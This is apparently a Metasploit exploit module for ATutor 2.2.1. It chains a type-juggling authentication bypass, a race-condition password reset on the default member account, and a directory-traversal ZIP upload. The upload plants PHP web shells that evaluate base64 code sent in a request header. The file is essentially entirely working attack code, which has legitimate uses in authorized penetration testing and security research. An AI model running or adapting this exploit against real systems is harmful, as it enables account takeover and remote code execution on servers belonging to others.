##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
'Description' => %q{
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
setup with display_errors set to On, which can be used to allow us to upload a malicious
ZIP file. On the web application, a blacklist verification is performed before extraction,
however it is not sufficient to prevent exploitation.
You are required to login to the target to reach the vulnerability, however this can be
done as a student account and remote registration is enabled by default.
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
in order to bypass the authentication:
1. confirm.php Authentication Bypass Type Juggling vulnerability
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
],
'References' =>
[
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mar 1 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [false, 'The username to authenticate as']),
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
],self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
# there is no real way to finger print the target so we just
# check if we can upload a zip and extract it into the web root...
# obviously not ideal, but if anyone knows better, feel free to change
if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
if student_cookie != nil && disclose_web_root
begin
if upload_shell(student_cookie, check=true) && found
return Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
end
else
# if we cant login, it may still be vuln
return Exploit::CheckCode::Unknown
end
else
# if no creds are supplied, it may still be vuln
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def create_zip_file(check=false)
zip_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@payload_name = Rex::Text.rand_text_alpha_lower(4)
@archive_name = Rex::Text.rand_text_alpha_lower(3)
@test_string = Rex::Text.rand_text_alpha_lower(8)
# we traverse back into the webroot mods/ directory (since it will be writable)
path = "../../../../../../../../../../../../..#{@webroot}mods/"
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
# we will win. If not, we may still win because these file extensions are often registered as php
# with the webserver, thus allowing us remote code execution.
if check
zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
else
register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
end
zip_file.pack
end
def found
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
})
if res and res.code == 200 and res.body =~ /#{@test_string}/
return true
end
return false
end
def disclose_web_root
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
})
@webroot = "/"
@webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
if @webroot != "/"
return true
end
return false
end
def call_php(ext)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
}, timeout=0.1)
return res
end
def exec_code
res = nil
res = call_php("pht")
if res == nil
res = call_php("phtml")
end
if res == nil
res = call_php("php4")
end
end
def upload_shell(cookie, check)
post_data = Rex::MIME::Message.new
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'vars_get' => {
'h' => ''
}
})
if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
return true
end
# unknown failure...
fail_with(Failure::Unknown, "Unable to upload php code")
return false
end
def find_user(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "users", "profile.php"),
'cookie' => cookie,
# we need to set the agent to the same value that was in type_juggle,
# since the bypassed session is linked to the user-agent. We can then
# use that session to leak the username
'agent' => ''
})
username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
if username
return username
end
# else we fail, because we dont know the username to login as
fail_with(Failure::Unknown, "Unable to find the username!")
end
def type_juggle
# high padding, means higher success rate
# also, we use numbers, so we can count requests :p
for i in 1..8
for @number in ('0'*i..'9'*i)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "confirm.php"),
'vars_post' => {
'auto_login' => '',
'code' => '0' # type juggling
},
'vars_get' => {
'e' => @number, # the bruteforce
'id' => '',
'm' => '',
# the default install script creates a member
# so we know for sure, that it will be 1
'member_id' => '1'
},
# need to set the agent, since we are creating x number of sessions
# and then using that session to get leak the username
'agent' => ''
}, redirect_depth = 0) # to validate a successful bypass
if res and res.code == 302
cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
return cookie
end
end
end
# if we finish the loop and have no sauce, we cant make pasta
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
end
def reset_password
# this is due to line 79 of password_reminder.php
days = (Time.now.to_i/60/60/24)
# make a semi strong password, we have to encourage security now :->
pass = Rex::Text.rand_text_alpha(32)
hash = Rex::Text.sha1(pass)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "password_reminder.php"),
'vars_post' => {
'form_change' => 'true',
# the default install script creates a member
# so we know for sure, that it will be 1
'id' => '1',
'g' => days + 1, # needs to be > the number of days since epoch
'h' => '', # not even checked!
'form_password_hidden' => hash, # remotely reset the password
'submit' => 'Submit'
},
}, redirect_depth = 0) # to validate a successful bypass
if res and res.code == 302
return pass
end
# if we land here, the TOCTOU failed us
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
end
def login(username, password, check=false)
hash = Rex::Text.sha1(Rex::Text.sha1(password))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => hash,
'form_login' => username,
'submit' => 'Login',
'token' => '',
},
})
# poor php developer practices
cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
return cookie
end
end
# auth failed if we land here, bail
unless check
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
end
return nil
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
# login if needed
if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
print_good("Logged in as #{datastore['USERNAME']}")
# else, we reset the students password via a type juggle vulnerability
else
print_status("Account details are not set, bypassing authentication...")
print_status("Triggering type juggle attack...")
student_cookie = type_juggle
print_good("Successfully bypassed the authentication in #{@number} requests !")
username = find_user(student_cookie)
print_good("Found the username: #{username} !")
password = reset_password
print_good("Successfully reset the #{username}'s account password to #{password} !")
report_cred(user: username, password: password)
student_cookie = login(username, password)
print_good("Logged in as #{username}")
end
if disclose_web_root
print_good("Found the webroot")
# we got everything. Now onto pwnage
if upload_shell(student_cookie, false)
print_good("Zip upload successful !")
exec_code
end
end
end
end
=begin
php.ini settings:
display_errors = On
=end
